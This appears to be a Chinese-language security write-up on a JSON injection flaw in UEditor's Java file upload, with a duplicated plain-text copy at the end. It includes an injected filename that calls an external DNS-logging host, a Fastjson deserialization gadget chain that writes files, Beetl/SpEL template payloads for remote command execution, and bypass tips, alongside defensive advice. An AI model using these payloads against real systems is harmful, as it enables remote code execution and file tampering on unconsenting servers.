浅谈ueditor的json注入问题
字数 1707 2025-08-03 16:43:37

UEditor JSON注入漏洞分析与利用教学

漏洞概述

UEditor Java版本在处理文件上传时存在JSON注入漏洞,当开发者使用不安全的方式处理UEditor返回的JSON数据时,可能导致远程代码执行等严重安全问题。该漏洞主要源于文件名参数未正确过滤,结合Fastjson反序列化漏洞可造成RCE。

漏洞背景

  • UEditor在2023年已在GitHub停止维护,实际上五年前就已不再更新
  • Java版本中,官方给出的标准用法是调用String json = new ActionEnter(request, rootPath).exec()
  • 当开发者需要修改返回属性时,可能会使用JSON解析库解析返回的JSON字符串
  • 如果JSON字符串部分可控,则可能导致安全问题

漏洞分析

漏洞根源

漏洞的根源在com.baidu.ueditor.define.BaseState#toString方法中,该方法将Map遍历后拼接为JSON字符串:

// 主要逻辑是对map进行遍历,把key和value进行处理最终制作成JSON字符串形式
// 其中key和value用+进行拼接,如果key或value可控的话可能会导致json注入问题

触发路径

  1. ActionEnter#invoke方法调用state#toJSONString
  2. ActionMapUPLOAD_FILE(文件上传)操作时触发Uploader#doExec
  3. Uploader#doExec根据是否base64调用不同类的save方法
  4. 对于UPLOAD_FILE操作,ConfigManagerisBase64为false,触发BinaryUploader#save

可控点分析

BinaryUploader#save函数中,originFileName由上传表单的filename控制:

// originFileName是由上传表单的filename控制的
// 令filename为filename=flag","vulnerable":"hacked","a":".txt即可绕过检测
// 最终会把originFileName放进BaseState当中

漏洞利用面

  1. Fastjson反序列化:如果开发者使用低版本Fastjson解析该JSON字符串,可能导致RCE
  2. 逻辑覆盖:如果开发者自己实现了备份文件功能,且路径取自filepath等属性,通过JSON注入覆盖原有属性可能导致任意文件上传

漏洞利用

利用条件

  1. 存在文件上传功能
  2. 后端使用UEditor处理上传
  3. 开发者使用不安全的方式处理UEditor返回的JSON数据(如低版本Fastjson解析)

利用步骤

  1. 构造恶意文件名

    filename=flag",{"@type":"java.net.Inet4Address","val":"bgb5eh.ceye.io"},"a":".txt
    
  2. Fastjson反序列化利用(针对1.2.68及以下版本):

    {
      "@type": "java.lang.AutoCloseable",
      "@type": "org.apache.commons.io.input.XmlStreamReader",
      "is": {
        "@type": "org.apache.commons.io.input.TeeInputStream",
        "input": {
          "@type": "org.apache.commons.io.input.ReaderInputStream",
          "reader": {
            "@type": "org.apache.commons.io.input.CharSequenceReader",
            "charSequence": {
              "@type": "java.lang.String""aaaaaa"
            },
            "charsetName": "UTF-8",
            "bufferSize": 1024
          },
        "branch": {
          "@type": "org.apache.commons.io.output.WriterOutputStream",
          "writer": {
            "@type": "org.apache.commons.io.output.FileWriterWithEncoding",
            "file": "/tmp/pwned",
            "encoding": "UTF-8",
            "append": false
          },
          "charset": "UTF-8",
          "bufferSize": 1024,
          "writeImmediately": true
        },
        "closeBranch": true
      },
      "httpContentType": "text/xml",
      "lenient": false,
      "defaultEncoding": "UTF-8"
    }
    
  3. 利用Beetl模板RCE(可选):

    • 第一次写入修改白名单:
      ${@nese.elephantcms.common.WhiteListNativeSecurityManager.test('org.springframework,java.beans,venom.elephantcms')}
      
    • 第二次写入RCE payload:
      ${@java.beans.Beans.instantiate(null,parameter.a).parseExpression(parameter.b).getValue()}
      
      访问时添加参数:
      ?a=org.springframework.expression.spel.standard.SpelExpressionParser&b=new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('{command}').getInputStream()).next()
      

绕过技巧

  1. 特殊字符限制

    • 由于漏洞源于HTTP请求头中的filename注入,双引号、分号等字符可能导致问题
    • 可使用Beetl语法parameter.a绕过
  2. 路径限制

    • Fastjson的MiscCodec限制了相对路径写入(..
    • 必须使用绝对路径
  3. 构造函数匹配

    • Fastjson调用构造函数存在随机性
    • 需确保WriterOutputStream构造方法的第二个属性是charsetcharsetName

防御措施

  1. 升级UEditor:使用最新版本(虽然已停止维护)
  2. 安全处理JSON
    • 避免直接解析不可信的JSON字符串
    • 使用最新版Fastjson
  3. 输入过滤
    • 严格过滤文件名中的特殊字符
    • 限制文件上传类型
  4. 权限控制
    • 限制文件上传目录权限
    • 使用不可执行的文件系统存储上传文件

自动化挖掘思路

  1. 代码搜索

    • 使用GitHub代码搜索寻找引入UEditor Java版本的项目
    • 搜索模式:String json = new ActionEnter(request, rootPath).exec()
  2. 污点分析

    • 检测UEditor返回的JSON字符串是否流入危险的Fastjson解析函数
    • 可使用semgrep等工具进行简单分析
  3. 人工验证

    • 对自动化发现的结果进行人工验证
    • 重点关注文件上传处理逻辑

总结

UEditor JSON注入漏洞结合Fastjson反序列化漏洞可导致严重的远程代码执行问题。虽然利用条件较为特定,但在实际应用中仍存在较大风险。开发者应重视JSON数据的安全处理,避免直接解析不可信数据,并及时更新相关组件版本。

UEditor JSON注入漏洞分析与利用教学 漏洞概述 UEditor Java版本在处理文件上传时存在JSON注入漏洞,当开发者使用不安全的方式处理UEditor返回的JSON数据时,可能导致远程代码执行等严重安全问题。该漏洞主要源于文件名参数未正确过滤,结合Fastjson反序列化漏洞可造成RCE。 漏洞背景 UEditor在2023年已在GitHub停止维护,实际上五年前就已不再更新 Java版本中,官方给出的标准用法是调用 String json = new ActionEnter(request, rootPath).exec() 当开发者需要修改返回属性时,可能会使用JSON解析库解析返回的JSON字符串 如果JSON字符串部分可控,则可能导致安全问题 漏洞分析 漏洞根源 漏洞的根源在 com.baidu.ueditor.define.BaseState#toString 方法中,该方法将Map遍历后拼接为JSON字符串: 触发路径 ActionEnter#invoke 方法调用 state#toJSONString 当 ActionMap 为 UPLOAD_FILE (文件上传)操作时触发 Uploader#doExec Uploader#doExec 根据是否base64调用不同类的save方法 对于 UPLOAD_FILE 操作, ConfigManager 的 isBase64 为false,触发 BinaryUploader#save 可控点分析 在 BinaryUploader#save 函数中, originFileName 由上传表单的filename控制: 漏洞利用面 Fastjson反序列化 :如果开发者使用低版本Fastjson解析该JSON字符串,可能导致RCE 逻辑覆盖 :如果开发者自己实现了备份文件功能,且路径取自filepath等属性,通过JSON注入覆盖原有属性可能导致任意文件上传 漏洞利用 利用条件 存在文件上传功能 后端使用UEditor处理上传 开发者使用不安全的方式处理UEditor返回的JSON数据(如低版本Fastjson解析) 利用步骤 构造恶意文件名 : Fastjson反序列化利用 (针对1.2.68及以下版本): 利用Beetl模板RCE (可选): 第一次写入修改白名单: 第二次写入RCE payload: 访问时添加参数: 绕过技巧 特殊字符限制 : 由于漏洞源于HTTP请求头中的filename注入,双引号、分号等字符可能导致问题 可使用Beetl语法 parameter.a 绕过 路径限制 : Fastjson的 MiscCodec 限制了相对路径写入( .. ) 必须使用绝对路径 构造函数匹配 : Fastjson调用构造函数存在随机性 需确保 WriterOutputStream 构造方法的第二个属性是 charset 或 charsetName 防御措施 升级UEditor :使用最新版本(虽然已停止维护) 安全处理JSON : 避免直接解析不可信的JSON字符串 使用最新版Fastjson 输入过滤 : 严格过滤文件名中的特殊字符 限制文件上传类型 权限控制 : 限制文件上传目录权限 使用不可执行的文件系统存储上传文件 自动化挖掘思路 代码搜索 : 使用GitHub代码搜索寻找引入UEditor Java版本的项目 搜索模式: String json = new ActionEnter(request, rootPath).exec() 污点分析 : 检测UEditor返回的JSON字符串是否流入危险的Fastjson解析函数 可使用semgrep等工具进行简单分析 人工验证 : 对自动化发现的结果进行人工验证 重点关注文件上传处理逻辑 总结 UEditor JSON注入漏洞结合Fastjson反序列化漏洞可导致严重的远程代码执行问题。虽然利用条件较为特定,但在实际应用中仍存在较大风险。开发者应重视JSON数据的安全处理,避免直接解析不可信数据,并及时更新相关组件版本。